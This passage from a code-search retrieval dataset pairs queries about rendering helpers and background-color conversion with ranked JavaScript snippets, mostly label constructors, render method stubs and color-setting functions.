ID\n\tthis.id = (typeof obj.id !== 'undefined')? obj.id : '';\n\n\t//Label class\n\tthis.class = (typeof obj.class !== 'undefined')? obj.class : 'jvizFormLabel';\n\n\t//Label text\n\tthis.text = (typeof obj.text === 'undefined') ? '' : obj.text;\n\n\t//Show label\n\tthis.show = true;\n\n\t//Element type\n\tthis.type = 'label';\n\n\t//Return the label\n\treturn this;\n}", "title": "" }, { "docid": "2007fb8ff86dd6728dbe83b74abea285", "score": "0.6120996", "text": "drawLabel(){\n //Get data\n let data = legData.getRow(this.legNum);\n let num = this.legNum + 1;\n let dist = data.get(\"dist\");\n let climb = data.get(\"climb_total\");\n\n //Create string\n let infoString = LEG_LABEL + str(num) + \"\\n\"\n + DIST_LABEL + str(dist) + MI_LABEL + \"\\n\"\n + CLIMB_LABEL + str(climb) + FT_LABEL + \"\\n\"\n + DIFF_LABEL + str(data.get(\"difficulty\"));\n\n //Calc position\n let infoX = this.x + (this.width/2);\n let infoY;\n\n if(climb < CLIMB_THRESH){\n textAlign(CENTER, BOTTOM);\n infoY = GROUND_HEIGHT - this.height - ABOVE_TEXT_BUFF;\n }else{\n textAlign(CENTER, CENTER);\n infoY = GROUND_HEIGHT - (this.height/3);\n }\n\n //Draw text\n textSize(LABEL_FONT_SIZE);\n fill(\"black\");\n text(infoString, infoX, infoY);\n }", "title": "" }, { "docid": "94480d205f1468e45968f40d96c2de18", "score": "0.6119853", "text": "function Label(_text, _id, _offsetX, _offsetY) {\n return {\n id: _id,\n text: _text,\n angle: 0,\n padding:'5 10 5 10',\n wrapText:true,\n textAlign: 'left',\n backgroundColor: '#eeeeee',\n offsetX: _offsetX,\n offsetY: _offsetY ? _offsetY : 0,\n cursor: 'pointer',\n flat: false,\n fontStyle: 'bold',\n fontSize: 13,\n }\n }", "title": "" }, { "docid": "94480d205f1468e45968f40d96c2de18", "score": "0.6119853", "text": "function Label(_text, _id, _offsetX, _offsetY) {\n return {\n id: _id,\n text: _text,\n angle: 0,\n padding:'5 10 5 10',\n wrapText:true,\n textAlign: 'left',\n backgroundColor: '#eeeeee',\n offsetX: _offsetX,\n offsetY: _offsetY ? _offsetY : 0,\n cursor: 'pointer',\n flat: false,\n fontStyle: 'bold',\n fontSize: 13,\n }\n }", "title": "" }, { "docid": "08d4df356dbd0abc2e41e8186da10213", "score": "0.611391", "text": "function setLabel(d){\n //label content\n var format = d3.format(\",.2f\")\n var a = expressed.split(\"_\")\n var labelAttribute = \"<h1>\" + a[1] +\": \" + format(d.properties[expressed]) +\n \"</h1> mg/l\";\n\n //create info label div\n var infolabel = d3.select(\"#body\")\n .append(\"div\")\n .attr(\"class\", \"infolabel\")\n .attr(\"id\", d.properties.HUC8 + \"_label\")\n .html(labelAttribute);\n\n var regionName = infolabel.append(\"div\")\n .attr(\"class\", \"labelname\")\n .html(\"<b>Watershed:</b> \" + d.properties.NAME);\n }", "title": "" }, { "docid": "44588d6bb7511b5cbe3c54449f679691", "score": "0.60940814", "text": "function makeControlFieldLabel(fieldLabel) {\n\n return $('<text />')\n .addClass(\"title\")\n .html(fieldLabel);\n }", "title": "" }, { "docid": "ec547a6bb79bdc13b8af9e92f329477a", "score": "0.6079309", "text": "function data_labels(){\n $('.bar_group__bar').each(function(){\n if($(this).attr('label') !== undefined){\n $('<p class=\"b_label\">' + $(this).attr('label') + '</p>').insertBefore($(this));\n }\n });\n}", "title": "" } ]
53f51ddab11a7c82414cac87b361c28e
Runtime helper for rendering
[ { "docid": "40f6ab41d643efc2c75f2f6d2797f96d", "score": "0.0", "text": "function renderSlot (\n name,\n fallback,\n props,\n bindObject\n) {\n var scopedSlotFn = this.$scopedSlots[name];\n var nodes;\n if (scopedSlotFn) { // scoped slot\n props = props || {};\n if (bindObject) {\n if (!isObject(bindObject)) {\n warn(\n 'slot v-bind without argument expects an Object',\n this\n );\n }\n props = extend(extend({}, bindObject), props);\n }\n nodes = scopedSlotFn(props) || fallback;\n } else {\n nodes = this.$slots[name] || fallback;\n }\n\n var target = props && props.slot;\n if (target) {\n return this.$createElement('template', { slot: target }, nodes)\n } else {\n return nodes\n }\n}", "title": "" } ]
[ { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.797086", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.797086", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.797086", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.797086", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.797086", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.797086", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.797086", "text": "render() {}", "title": "" }, { "docid": "19782922638c7de637ae19324d444e46", "score": "0.7954186", "text": "_render () {}", "title": "" }, { "docid": "ce93e60513953e9b5e1a6bc4d9606a7f", "score": "0.7664805", "text": "function render() {\n // TODO\n}", "title": "" }, { "docid": "d41d96159621c2116937ffbb2cf68b1a", "score": "0.76538455", "text": "selfRender() {}", "title": "" }, { "docid": "55a471b24674cd3c488584140711ea11", "score": "0.7546567", "text": "render () {}", "title": "" }, { "docid": "b5c1ae356522f027b4482cc54d40a3d3", "score": "0.7468238", "text": "render(ctx) {}", "title": "" }, { "docid": "5eec60e96340c6f804f331e5f9927d78", "score": "0.73490065", "text": "render() {\n }", "title": "" }, { "docid": "da77c9a892015ddd99efbeefd27b97c7", "score": "0.7345283", "text": "_render(_renderer) {\n }", "title": "" }, { "docid": "c3648699c252708001bc88e293365eb6", "score": "0.7266659", "text": "render() {\n\n \t}", "title": "" }, { "docid": "c03bf2968afd65df17c9d3b68c6c9d47", "score": "0.7256009", "text": "function render() {\r\n\r\n}", "title": "" }, { "docid": "c03bf2968afd65df17c9d3b68c6c9d47", "score": "0.7256009", "text": "function render() {\r\n\r\n}", "title": "" }, { "docid": "c03bf2968afd65df17c9d3b68c6c9d47", "score": "0.7256009", "text": "function render() {\r\n\r\n}", "title": "" }, { "docid": "c03bf2968afd65df17c9d3b68c6c9d47", "score": "0.7256009", "text": "function render() {\r\n\r\n}", "title": "" }, { "docid": "c03bf2968afd65df17c9d3b68c6c9d47", "score": "0.7256009", "text": "function render() {\r\n\r\n}", "title": "" }, { "docid": "c03bf2968afd65df17c9d3b68c6c9d47", "score": "0.7256009", "text": "function render() {\r\n\r\n}", "title": "" }, { "docid": "45c29c837a2cfc13c6e63c839d241579", "score": "0.72311014", "text": "function _render() {\n \n \n }", "title": "" }, { "docid": "65ded68292c0f90f0675737730c107ff", "score": "0.7206186", "text": "function render() {\n\n}", "title": "" }, { "docid": "f2972cf748d7a64e9188a6ba92a6117c", "score": "0.70568293", "text": "render() {\n }", "title": "" }, { "docid": "cc254be19e5e93d0b57da6e4861bd22e", "score": "0.7009095", "text": "function render(){ \n\n\n}", "title": "" }, { "docid": "08ed2d40fbc8e9ee088d4cc756bbc508", "score": "0.69305074", "text": "render() {\n\t\treturn null;\n\t}", "title": "" }, { "docid": "93017876117b46487e13344671f717f7", "score": "0.6853033", "text": "render() {\n\n }", "title": "" }, { "docid": "75698242c90d2c5b914eaa1588c4668b", "score": "0.68450826", "text": "_render(settings, request, response, done) {\n throw new Error('The _render method is not yet implemented.');\n }", "title": "" }, { "docid": "03aa46eadbca28480a56e225e57fe929", "score": "0.68323284", "text": "render() {\n }", "title": "" }, { "docid": "03aa46eadbca28480a56e225e57fe929", "score": "0.68323284", "text": "render() {\n }", "title": "" }, { "docid": "3fedd69596405e9d03740d40ec2fc5a8", "score": "0.679218", "text": "function Render()\n\t{\n\t}", "title": "" }, { "docid": "83f4048993a3dbefd5eebfc5f164a269", "score": "0.6710809", "text": "async render() { }", "title": "" }, { "docid": "83f4048993a3dbefd5eebfc5f164a269", "score": "0.6710809", "text": "async render() { }", "title": "" }, { "docid": "6d0636f12d991f0746dd763ff5d0351f", "score": "0.6710152", "text": "render() { // it describes what the UI should look like\n\n }", "title": "" }, { "docid": "709cf3aca218c4b3c8a392fa72f5b659", "score": "0.6686276", "text": "render() {\n return null;\n }", "title": "" }, { "docid": "709cf3aca218c4b3c8a392fa72f5b659", "score": "0.6686276", "text": "render() {\n return null;\n }", "title": "" }, { "docid": "a73ed9f76d16d5533192777d7070f623", "score": "0.6671306", "text": "_onRender() {}", "title": "" }, { "docid": "e4ab7d785d8d8d1be8ca09ab497050fc", "score": "0.6616579", "text": "render() {\n return renderNotImplemented;\n }", "title": "" }, { "docid": "d1f66b4d4f2ef4597d51881e21e49873", "score": "0.66120994", "text": "render () {\n\n }", "title": "" }, { "docid": "d95d09d76554bd5219922d2049b6f18b", "score": "0.66073513", "text": "render(_callback) {\n }", "title": "" }, { "docid": "091684cbc52245b6b115710894f6f545", "score": "0.6605634", "text": "render() {\n\t\tthrow new Error(\"Method not implemented!\");\n\t}", "title": "" }, { "docid": "8fa93c1a7efd297a6faf7c7772f8a93f", "score": "0.6568704", "text": "render() {\n return renderNotImplemented;\n }", "title": "" }, { "docid": "8fa93c1a7efd297a6faf7c7772f8a93f", "score": "0.6568704", "text": "render() {\n return renderNotImplemented;\n }", "title": "" }, { "docid": "8fa93c1a7efd297a6faf7c7772f8a93f", "score": "0.6568704", "text": "render() {\n return renderNotImplemented;\n }", "title": "" }, { "docid": "20f32a57b39f0bf03696c01162744196", "score": "0.65406173", "text": "function render(value,options){var ret=prepare_render(value,options);if(ret){self.echo.apply(self,ret);return true;}}// ---------------------------------------------------------------------", "title": "" }, { "docid": "cac0c8143451f4c25785f0fdf3e707ab", "score": "0.6514482", "text": "render(controller, view) {}", "title": "" }, { "docid": "28548b1fe69482503ef4920dfcfb19f9", "score": "0.6507546", "text": "dorender(ctx) {}", "title": "" }, { "docid": "a7807ef5f8b612be02f0d3d09fe230fa", "score": "0.64879394", "text": "static render() {\n this.renderText();\n this.renderNodes();\n }", "title": "" }, { "docid": "8d4bf04bca49309d6651ed851291a479", "score": "0.64707035", "text": "render() {\n switch (this.getType()) {\n case 'grid':\n return this.renderAsSubGrid();\n case 'placeholder':\n return this.renderAsPlaceholder();\n case 'module':\n return this.renderAsModule();\n }\n }", "title": "" }, { "docid": "94d9d8884ff1f092b64a451970130668", "score": "0.642643", "text": "render() {\n return null // No need to render anything :)\n }", "title": "" }, { "docid": "0048f00c2fd8d156564656f895ba31ec", "score": "0.6377484", "text": "preRender() { }", "title": "" }, { "docid": "9ac071d30ff1c8b71a1a4467f30fd851", "score": "0.63754356", "text": "render () {\n\n }", "title": "" }, { "docid": "5060b3f6e4e36a8d690ce4398d37aee6", "score": "0.63749325", "text": "_render(target) {\n throw new Error(\"You must implement the _render function\");\n }", "title": "" }, { "docid": "608b12cd6a34e26929f25a7af7fb27b1", "score": "0.63707846", "text": "render(){\n\t\tthrow new Error('You must overwrite your Components .render method. This is also not callable via super');\n\t}", "title": "" }, { "docid": "199267b16cc0b73252654b795589d9f2", "score": "0.6358583", "text": "preRender(){}", "title": "" }, { "docid": "83591c23564c281f9af10a64caba4b4b", "score": "0.635851", "text": "make() {\n return this.renderContent();\n }", "title": "" }, { "docid": "4f3d7c6078a65f772a295f49c744b6f7", "score": "0.63067144", "text": "Render( ctx, connection ) {}", "title": "" }, { "docid": "e2145b768cf0f7dda820b591f1f5df91", "score": "0.62907827", "text": "render() {\n return html`\n <div>\n Soy otro elemento\n </div>\n `;\n }", "title": "" }, { "docid": "12eea4e628226a3835e02096fdf95d2f", "score": "0.62657684", "text": "function e$V(e){return e&&\"function\"==typeof e.render}", "title": "" }, { "docid": "2477a8dd0d889ee21b3159fdf273dc44", "score": "0.6255817", "text": "render() {\n return super.render();\n }", "title": "" }, { "docid": "be4e7d488afe52749fbed6afae31db72", "score": "0.62512255", "text": "function _render(){_render=(0,_asyncToGenerator2.default)(function*(props){if(props.err){yield renderError(props);return;}try{yield doRender(props);}catch(err){yield renderError((0,_extends2.default)({},props,{err}));}});return _render.apply(this,arguments);}", "title": "" }, { "docid": "d07785b0b9eedcb176376bfa78899659", "score": "0.62459105", "text": "function nullRender() { return null; }", "title": "" }, { "docid": "d07785b0b9eedcb176376bfa78899659", "score": "0.62459105", "text": "function nullRender() { return null; }", "title": "" }, { "docid": "d07785b0b9eedcb176376bfa78899659", "score": "0.62459105", "text": "function nullRender() { return null; }", "title": "" }, { "docid": "814e9d3009db5098828a973b2fd426e4", "score": "0.6203851", "text": "function o(t){return i.render(t,s)}", "title": "" }, { "docid": "6273be5f746874a9bcc8987e9600a70f", "score": "0.6198634", "text": "render()\n {\n var html_builder = [];\n var data = this.view_data_provider.getData(this);\n\n // both are common cases\n if ($.isArray(data))\n {\n for (var i = 0; i < data.length; i++)\n {\n html_builder.push(Utils.render(this.template, data[i]));\n }\n }\n else\n {\n html_builder.push(Utils.render(this.template, data));\n }\n\n if (this.append)\n {\n this.$target.append(html_builder.join(''));\n }\n else\n {\n this.$target.html(html_builder.join(''));\n }\n }", "title": "" }, { "docid": "353d149e865d19ef7a08cdac2b485513", "score": "0.61948925", "text": "willRender() {}", "title": "" }, { "docid": "920858a1c54a3973d7942d5c6c2aa8c8", "score": "0.6184099", "text": "render(quickRender = true) {\n const renderMethod = (quickRender && this._renderMethod) || 'render';\n delete this._renderMethod;\n \n this.currentView[renderMethod]();\n }", "title": "" }, { "docid": "1ba4ae90586ea1055881cd03dcbd1765", "score": "0.61669725", "text": "function render(){\n console.log('`render function` ran');\n const createdHtml = generateHtml(STORE); \n $('main').html(createdHtml);\n}", "title": "" }, { "docid": "121b9ceb4912dfe4bb9a61e45c48cb71", "score": "0.6166581", "text": "render() {\n /**\n * Single source of true for preview/Preview.js\n * and dropdown/DownloadHTML.js components;\n */\n this.renderPreview();\n // renderedContent is declared in renderPreview();\n return this.renderedContent;\n }", "title": "" }, { "docid": "6e3b9d0539e54abca3dc64d612a42347", "score": "0.6165654", "text": "render() {\n return <div>{this.renderContent()}</div>;\n }", "title": "" }, { "docid": "6e3b9d0539e54abca3dc64d612a42347", "score": "0.6165654", "text": "render() {\n return <div>{this.renderContent()}</div>;\n }", "title": "" }, { "docid": "00398f0ec7b6d8abe9c95335fbd8c038", "score": "0.6162565", "text": "render() {\n if (this.renderer) {\n this.renderer.call(this.owner, this.content, this.owner, this.model);\n }\n }", "title": "" }, { "docid": "208574dd67f5acbca427197498b2df1a", "score": "0.6154905", "text": "toHtml() {\n return this.templEngine.renderMain(this.response);\n }", "title": "" }, { "docid": "ff778f14c31919fcd3e8ed2c821683e5", "score": "0.61489004", "text": "render() {\n\t\treturn this.display ? this.menuTemplate() : nothing;\n\t}", "title": "" }, { "docid": "0e19bf8c7efc4c223a130df125ee459b", "score": "0.61324644", "text": "function RenderEngineBase() {\n \n}", "title": "" }, { "docid": "e61a4c3aaa72d392ec8ac70181933b64", "score": "0.6116537", "text": "function prepare_render(value,options){if(is_node(value)){var settings=$.extend({},options,{raw:true,finalize:function finalize(div){div.find('.terminal-render-item').replaceWith(value);if(options&&is_function(options.finalize)){options.finalize(div,self);}}});return['<div class=\"terminal-render-item\"/>',settings];}}// ---------------------------------------------------------------------", "title": "" }, { "docid": "04100b33d8447f03a590ab2bf309d3eb", "score": "0.61134404", "text": "render() {\r\n return this.el.insertAdjacentHTML('beforeend', template(this.opt));\r\n }", "title": "" }, { "docid": "0258bf68ca751250de9a48159183de55", "score": "0.61052096", "text": "function render(data){\n return template(data);\n }", "title": "" }, { "docid": "b47cd9e1ec2ede09b4215041e24a1ba0", "score": "0.6089711", "text": "_render_elements() {\n throw new Error('Method « _render_elements » should be implemented by the engine.')\n }", "title": "" }, { "docid": "8e2a7129b25392a834963a94520640b6", "score": "0.6086954", "text": "function html(){}", "title": "" }, { "docid": "6ae78296e100217e27b6ca565f72959d", "score": "0.608", "text": "render() {\n let that = this;\n let tmp = this.generateStaticView(this.threads, this.info,this.popular, this.user);\n tmp.then(tmp => {\n $id('main').innerHTML = tmp;\n that.bind();\n });\n }", "title": "" }, { "docid": "8372dee6de8ca1e22ffdce820993b6be", "score": "0.606414", "text": "render() {\n return `\n <div>Snickers: ${this.snickers}</div>\n <div>KitKat: ${this.kitkat}</div>\n <div>Lay's: ${this.lays}</div>\n `\n }", "title": "" }, { "docid": "fb8456e9c4f58a05b7e3715c64dcb6d4", "score": "0.6058602", "text": "async render(container) {}", "title": "" }, { "docid": "2e0af6a66b151769b794cef72b45e04f", "score": "0.60574037", "text": "_renderViewExtension(extension, options, request, response, done) {\n extension.render(options, request, response, done);\n }", "title": "" }, { "docid": "e2a15edbb5a20e55cbfd097513d2b926", "score": "0.60468215", "text": "render() { \n return (\n <div>\n {this.renderContent()}\n </div>\n )\n }", "title": "" }, { "docid": "d9e23262f33a465903390e42c969dbc4", "score": "0.6042207", "text": "renderPage() {\n }", "title": "" }, { "docid": "0c517e15c0a14494421de2e2f53d5346", "score": "0.6041376", "text": "renderTemplate(){\n\t \t this.render('libraries/form');\n\t }", "title": "" }, { "docid": "2eb8c9f790a2854a7ee7e2700bc10fbb", "score": "0.6036815", "text": "function _render($$) {\n var el = $$('div')\n var parent = el\n el.append('AAAA')\n if (this.props.extraLayer) {\n var middle = $$(Simple).ref('selection')\n el.append(middle)\n parent = middle\n }\n parent.append($$(Simple).ref('foo').append('BBBB'))\n el.append('CCCC')\n return el\n }", "title": "" }, { "docid": "6fc8e91184092bad9a99ed64c73eee99", "score": "0.6032923", "text": "preRender(){\n \n }", "title": "" }, { "docid": "b425c79d4cd1120ec997de09973b65ce", "score": "0.60260165", "text": "renderer (prm) {\n try {\n return this.confmng(\"renderer\", prm);\n\t} catch (e) {\n console.error(e.stack);\n throw e;\n\t}\n }", "title": "" }, { "docid": "f2fe5f47c1b50696ff502295cef7fd96", "score": "0.60081404", "text": "render() \n // A render method is a property whose name is render, and whose value is a function.\n {\n return\n //A render method must contain a return statement\n <h1>Hello world</h1>;\n }", "title": "" }, { "docid": "e0f32809bd7b7ee700df38b63f8d18c4", "score": "0.599978", "text": "render() {\n throw new Error('Extend the render method to add your plugin to a DOM element');\n }", "title": "" }, { "docid": "e0f32809bd7b7ee700df38b63f8d18c4", "score": "0.599978", "text": "render() {\n throw new Error('Extend the render method to add your plugin to a DOM element');\n }", "title": "" }, { "docid": "1607ad6d9219b43cd81064dcc2a10a58", "score": "0.5999748", "text": "function MyComponent() {\n return <h3> component returns html from js </h3>;\n}", "title": "" }, { "docid": "6a69ac6ed0cfa92f12fb77494bf3698e", "score": "0.5997632", "text": "render(quickRender = true) {\n const renderMethod = (quickRender && this._renderMethod) || 'render';\n delete this._renderMethod;\n\n this.currentView[renderMethod]();\n }", "title": "" }, { "docid": "6a69ac6ed0cfa92f12fb77494bf3698e", "score": "0.5997632", "text": "render(quickRender = true) {\n const renderMethod = (quickRender && this._renderMethod) || 'render';\n delete this._renderMethod;\n\n this.currentView[renderMethod]();\n }", "title": "" }, { "docid": "ab8b56cfd6426800c2e20504cb5dbfbf", "score": "0.5995917", "text": "render() {\n console.log(\"postElement: \"); //log message available from web-browser, inspect->console\n\n return html`\n <div class=\"card\" style=\"width: 18rem;\">\n <div class=\"card-body\">\n <h5>${this.post.pid ? html`${this.post.pid}` : html`Mangler \"pid\" i post`}</h5>\n <h5>${this.post.user ? html`${this.post.user}` : html`Mangler \"user\" i post`}</h5>\n <h5>${this.post.title ? html`${this.post.title}` : html`Mangler \"title\" i post`}</h5>\n <h5>${this.post.content ? html`${this.post.content}` : html`Mangler \"content\" i post`}</h5>\n </div>\n </div>\n `;\n }", "title": "" }, { "docid": "d0b54cade4582bbc0106e7ba12399c58", "score": "0.59853566", "text": "_firstRendered() { }", "title": "" }, { "docid": "d0b54cade4582bbc0106e7ba12399c58", "score": "0.59853566", "text": "_firstRendered() { }", "title": "" }, { "docid": "ddec3a3e69f550e17899de5a09704cf7", "score": "0.5983285", "text": "function nullRender() {\n return null;\n}", "title": "" } ]
ade950c9d20201fe397581dd54daa407
backgroundColor = backgroundcolor, convert from camelCase to dash.
[ { "docid": "321b4e2a34f29627b5db91982154ac34", "score": "0.0", "text": "function camelCaseToDash(key) {\n return key.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();\n }", "title": "" } ]
[ { "docid": "66ca55d0c355aaa2c66d3ae69b7bbc74", "score": "0.6462413", "text": "get backgroundColor() { return this._backgroundColor; }", "title": "" }, { "docid": "66ca55d0c355aaa2c66d3ae69b7bbc74", "score": "0.6462413", "text": "get backgroundColor() { return this._backgroundColor; }", "title": "" }, { "docid": "66ca55d0c355aaa2c66d3ae69b7bbc74", "score": "0.6462413", "text": "get backgroundColor() { return this._backgroundColor; }", "title": "" }, { "docid": "66ca55d0c355aaa2c66d3ae69b7bbc74", "score": "0.6462413", "text": "get backgroundColor() { return this._backgroundColor; }", "title": "" }, { "docid": "66ca55d0c355aaa2c66d3ae69b7bbc74", "score": "0.6462413", "text": "get backgroundColor() { return this._backgroundColor; }", "title": "" }, { "docid": "66ca55d0c355aaa2c66d3ae69b7bbc74", "score": "0.6462413", "text": "get backgroundColor() { return this._backgroundColor; }", "title": "" }, { "docid": "90cefbb699c27b09a547dc2817277995", "score": "0.64015466", "text": "setBackgroundColor(backgroundColor){\n\t\treturn;\n\t}", "title": "" }, { "docid": "90634091154ceb11b4d4379df3430723", "score": "0.6318851", "text": "function cambiaColor(color){\r\n caja.style.background = color;\r\n}", "title": "" }, { "docid": "89903cd89dbc23fa195777f7a4a9c968", "score": "0.6305028", "text": "function cambiaColor(color){\n caja.style.background= color;\n }", "title": "" }, { "docid": "992ae4977b61ecba178a0dc5bdd28c92", "score": "0.6285578", "text": "function cambiaColor(color){\n caja.style.background = color;\n}", "title": "" }, { "docid": "e14be8eb4a515146076dcafa0efd4af7", "score": "0.6283066", "text": "function cambiaColor(color) {\n caja.style.background = color;\n}", "title": "" }, { "docid": "6b66856d8da234b63ff4800e6b1df1b1", "score": "0.6265122", "text": "function cambiaColor(color){\n caja.style.background = color;\n}", "title": "" }, { "docid": "aea07822c4dfc9b4e853c9268e1bc44e", "score": "0.62326455", "text": "function cambiaColor(color){\n\tcaja1.style.background = color;\n}", "title": "" }, { "docid": "a6fe3c356bbf30cf3ee0fb7d488b5bcd", "score": "0.6180401", "text": "getBackgroundHex() {\n\t if (this.backgroundRed !== undefined && this.backgroundGreen !== undefined && this.backgroundBlue !== undefined) {\n\t return \"#\" + this.backgroundRed.toString(16) + this.backgroundGreen.toString(16) + this.backgroundBlue.toString(16);\n\t }\n\t else {\n\t return \"\";\n\t }\n\t }", "title": "" }, { "docid": "298e512a2ec019637c4b552ba20acbdb", "score": "0.60704565", "text": "get backgroundColor(){ return this.__rt.backgroundColor; }", "title": "" }, { "docid": "5247d9b73adaf1a597299cab70072443", "score": "0.6021402", "text": "function ChangeBgColor()\r\n\t{\r\n\t\tdocument.getElementById(\"displayScreen\").style.backgroundColor = document.getElementById(\"backgroundColor\").value;\r\n\t}", "title": "" }, { "docid": "74c872d9af1c4fe7c95939b6e51acd59", "score": "0.6010557", "text": "function cambiaColor(objeto, color) {\n objeto.style.background = color;\n }", "title": "" }, { "docid": "23c094fbd787fb37be6ad0ac2083d994", "score": "0.5993455", "text": "function cardAccentColor(){\n let myColor = document.getElementById('cardAccentColor').value;\n document.getElementById('displayLine').style.background = myColor;\n}", "title": "" }, { "docid": "af09a948f887b17e8b1850334b8846f1", "score": "0.5984571", "text": "function background() {\n if (props.index % 2 === 0) {\n return {\n backgroundColor: \"#ffffff\",\n };\n } else {\n return {\n backgroundColor: \"#555555\",\n color: '#ffffff'\n };\n }\n }", "title": "" }, { "docid": "f57638a5619542e2451cc0fe1cc83779", "score": "0.5981059", "text": "backgroundColor(){\n if (this.props.topicIndex % 2 === 0 || this.props.topicIndex === 0){\n return \"#E7E7E7\"\n } else {\n return \"#F3F3F3\"\n }\n }", "title": "" }, { "docid": "3e55a0a29976d21519a42287f8204308", "score": "0.58818907", "text": "function putcolor(){\r\n\ta.style.background=colors[0];\r\n\tb.style.background=colors[1];\r\n\tc.style.background=colors[2];\r\n\td.style.background=colors[3];\r\n\te.style.background=colors[4];\r\n\tf.style.background=colors[5];\r\n}", "title": "" }, { "docid": "facf655f58df96bb956ddc94dd1935c0", "score": "0.5879167", "text": "function c_out(x)\n{\n\tif (x.style.backgroundColor == \"rgb(229, 229, 229)\")\n\t\tx.style.backgroundColor = \"rgb(85, 142, 213)\";\n}", "title": "" }, { "docid": "95bd94d69073cb99b36a9d036909e546", "score": "0.5864045", "text": "function changeBackgroundColor() {\n backgroundColor.style.background = \"#2e2e2e\";\n}", "title": "" }, { "docid": "40886df2da7e5ab6b75d1260337e0f08", "score": "0.58560133", "text": "get backgroundColor() {\n return brushToString(this.i.oy);\n }", "title": "" }, { "docid": "e2b472bfa09dd89ac757e55300459567", "score": "0.5842924", "text": "function bg_color(receiver,color){\n document.getElementById(receiver).style.backgroundColor = '#'+color;\n}", "title": "" }, { "docid": "e8487633fce1d02148b1d804fcd295e2", "score": "0.58184135", "text": "background(color) {\n return this.rect(0, 0, this.canvas.width, this.canvas.height).fill(color);\n }", "title": "" }, { "docid": "7a28563253e4fdece169799842808112", "score": "0.5807792", "text": "setBackground() {\n this.context.fillStyle = this.backgroundColor;\n this.context.fillRect(0, 0, this.context.canvas.width, this.context.canvas.height);\n this.context.canvas.style.border = '1px solid' + this.borderColor;\n }", "title": "" }, { "docid": "828dcbd4c5bdaa636c5f2cd015eab186", "score": "0.58028", "text": "function backgroundclr(){\n if(n_desc_short==\"Clouds\"){\n c1 = color(127,191,255);\n c2 = color(140,146,172);\n ilink = img[0];\n }\n if(n_desc_short==\"Thunderstorm\"){\n c1 = color(87,77,94);\n c2 = color(28,13,38);\n ilink = img[1];\n }\n if(n_desc_short==\"Drizzle\"){\n c1 = color(151,189,188);\n c2 = color(95,153,186);\n }\n if(n_desc_short==\"Rain\"){\n c1 = color(154,165,211);\n c2 = color(96,114,162);\n }\n if(n_desc_short==\"Snow\"){\n c1 = color(230,210,222);\n c2 = color(155,158,235);\n }\n if(n_desc_short==\"Atmosphere\"){\n c1 = color(169,90,82);\n c2 = color(111,88,70);\n }\n if(n_desc_short==\"Clear\"){\n c1 = color(255,190,146);\n c2 = color(255,140,136);\n }\n if(n_desc_short==\"Extreme\"){\n c1 = color(0);\n c2 = color(200,200,200);\n }\n if(n_desc_short==\"Additional\"){\n c1 = color(0);\n c2 = color(80,80,80);\n }\n }", "title": "" }, { "docid": "0ee7d584ed815627593d3c48cc100e6f", "score": "0.5771024", "text": "function putColor() {\n this.style.backgroundColor = randomColor()\n}", "title": "" }, { "docid": "041512455da1ac94d42c89c74d0f8144", "score": "0.57470465", "text": "function defaultBgColor() {\n backgroundEl.style.backgroundColor = \"#BBF1FA\";\n}", "title": "" }, { "docid": "c8f8a82efe08802b890011cc59461f6a", "score": "0.573986", "text": "function changeCouleur(element,couleur){\r\n element.style.backgroundColor=couleur;\r\n}", "title": "" }, { "docid": "3bb0b9d8a0e87b300baec74a35986a5e", "score": "0.5739724", "text": "getBackgroundRGB() {\n\t if (this.backgroundRed !== undefined && this.backgroundGreen !== undefined && this.backgroundBlue !== undefined) {\n\t return 'rgb(' + this.backgroundRed + ',' + this.backgroundGreen + ',' + this.backgroundBlue + ')';\n\t }\n\t else {\n\t return \"\";\n\t }\n\t }", "title": "" }, { "docid": "b308659ee6b0cb4d4d9ea72d8fa1edfb", "score": "0.57228625", "text": "function background(index) {\n\t\t\tif (index == 1)\n\t\t\t\treturn \"-56px 0px\";\n\t\t\tif (index == 2)\n\t\t\t\treturn \"0px 0px\";\n\t\t\tif (index == 3)\n\t\t\t\treturn \"-112px 0\";\n\t\t\talert(\"Background not found: \" + index);\n\t\t}", "title": "" }, { "docid": "d062d0b4004079e374d49e4a3c80f68f", "score": "0.57125586", "text": "function changeBackgroundColor() {\n this.style.backgroundColor = 'black';\n}", "title": "" }, { "docid": "8ea75c2df177e901035cd13f609b7c7a", "score": "0.570369", "text": "function setTextBackground(color, opacity) {\r\n text.style.background = color;\r\n text.style.opacity = opacity;\r\n}", "title": "" }, { "docid": "5acfc0cfba9786657eb7a4fc7742545e", "score": "0.56935614", "text": "getFontColor(backgroundColor) {\n if ( this.getContrast(this.hexToRGB(backgroundColor),this.hexToRGB(\"#000000\")) < 6 ) \n return \"#ffffff\";\n else\n return \"#000000\";\n }", "title": "" }, { "docid": "a6ba8965c7e19f83ffb491f650ceffc9", "score": "0.5690189", "text": "function background () {\n document.body.style.backgroundColor = 'HoneyDew'\n}", "title": "" }, { "docid": "812d86ae6ab8b4d5e94ed64e99e85352", "score": "0.5685316", "text": "function setBackgroundColor(cssColorString){\nconsole.log(\"setBackgroundColor\");\n\ndocument.querySelector(\"body\").style.backgroundColor = cssColorString;\n}", "title": "" }, { "docid": "7283d7865cf26453f82be86a60c04fa1", "score": "0.5662786", "text": "function colorize() {\n this.style.backgroundColor = makeRandColor();\n this.style.color = makeRandColor();\n}", "title": "" }, { "docid": "8213aadb7d823b58fc8bbc581ad92c59", "score": "0.5658642", "text": "function changeBoxColBack() {\n this.style.backgroundColor = \"White\";\n}", "title": "" }, { "docid": "e60b3fb745dd98ad8ef7734cb746b91a", "score": "0.5655425", "text": "setBackground(r, g, b) {\n\t this.backgroundRed = r;\n\t this.backgroundGreen = g;\n\t this.backgroundBlue = b;\n\t }", "title": "" }, { "docid": "82090883eac85a41a15024b4c6db88fe", "score": "0.56519294", "text": "get backgroundColor() {\n return brushToString(this.i.bv);\n }", "title": "" }, { "docid": "215c03be77b84f15735a4c55db7941e8", "score": "0.56411445", "text": "static 